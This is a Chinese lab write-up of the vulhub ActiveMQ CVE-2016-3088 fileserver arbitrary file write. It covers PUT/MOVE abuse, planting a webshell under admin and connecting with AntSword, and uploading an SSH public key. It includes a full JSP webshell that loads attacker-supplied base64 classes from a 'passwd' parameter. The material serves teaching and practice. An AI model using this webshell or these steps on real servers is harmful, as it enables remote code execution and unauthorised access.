当前位置: 首页 > news >正文

vulhub-activemq(CVE-2016-3088)

  在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后,彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本,免去无用功】

该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。

写入文件方法

写入 webshell

写入 cron 或 ssh key 等文件

写入 jar 或 jetty.xml 等库和配置文件

启动环境

方法一:写入webshell

【该方法的使用条件】

1、需要知道 ActiveMQ 的绝对路径

2、需要能登录 admin 或者 api

【分析条件】

1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取,不过该页面需要登录才能访问。

2、获取用户名和密码,可以通过弱口令、暴力破解、社工等方法(不过题目已经给出了默认用户名和密码 admin/admin,这里就省去了这个步骤)

绝对路径

开始抓包 直接抓jsp

webshell

<%!

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}

public byte[] base64Decode(String str) throws Exception {

try {

Class clazz = Class.forName("sun.misc.BASE64Decoder");

return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

} catch (Exception e) {

Class clazz = Class.forName("java.util.Base64");

Object decoder = clazz.getMethod("getDecoder").invoke(null);

return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

}

}

%>

<%

String cls = request.getParameter("passwd");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>

修改成如下

204表示成功

MOVE 方法将 webshell 移动到 admin 所在文件夹,响应 204 表示操作成功

当然了,移动到 api 下也是可以的,我这边移动到 admin 目录下

蚁剑连接webshell

重点是记住 admin 应用是需要登录的,所以记得一定要在连接中添加 Authorization

方法二:ssh上传公钥

攻击机生成公钥

下载下来       也可以直接复制内容

上传

move更改

http://www.lryc.cn/news/394660.html

相关文章:

  • 上海市计算机学会竞赛平台2024年6月月赛丙组超级奇数
  • 速盾:cdn业务优化
  • 重生奇迹mu的地图名
  • 【CSS】缩写属性gap
  • Perl 语言开发(八):子程序和模块
  • 自注意力机制和多头注意力机制区别
  • 数据结构第14节 加权图
  • 128陷阱(超详细)
  • STM32自己从零开始实操08:STM32主控原理图
  • Ubuntu20.04配置TurtleBot3 Waffle Pi远程控制
  • SaaS产品和独立部署型产品有什么区别,该怎么选择?
  • 【Linux】压缩命令——gzip,bzip2,xz
  • 【Java13】包
  • 从零到一:Python自动化测试的详细指南!
  • iOS中多个tableView 嵌套滚动特性探索
  • TCP/IP模型和OSI模型的区别
  • (九)绘制彩色三角形
  • 短信群发平台适用于哪些行业?
  • 1. 倍数
  • C#常用关键字举例
  • stm32——外部中断EXTI
  • Solidity:变量数据存储和作用域 storage/memory/calldata
  • ElementUI中的el-table解决宽度问题 - 根据内容自动撑开
  • react apollo hooks
  • Android 10.0 SystemUI启动流程
  • 洛谷 P1032 [NOIP2002 提高组] 字串变换
  • 网络资源模板--Android Studio 外卖点餐App
  • 【Linux】网络新手村
  • 123123
  • 在pycharm中使用jupyter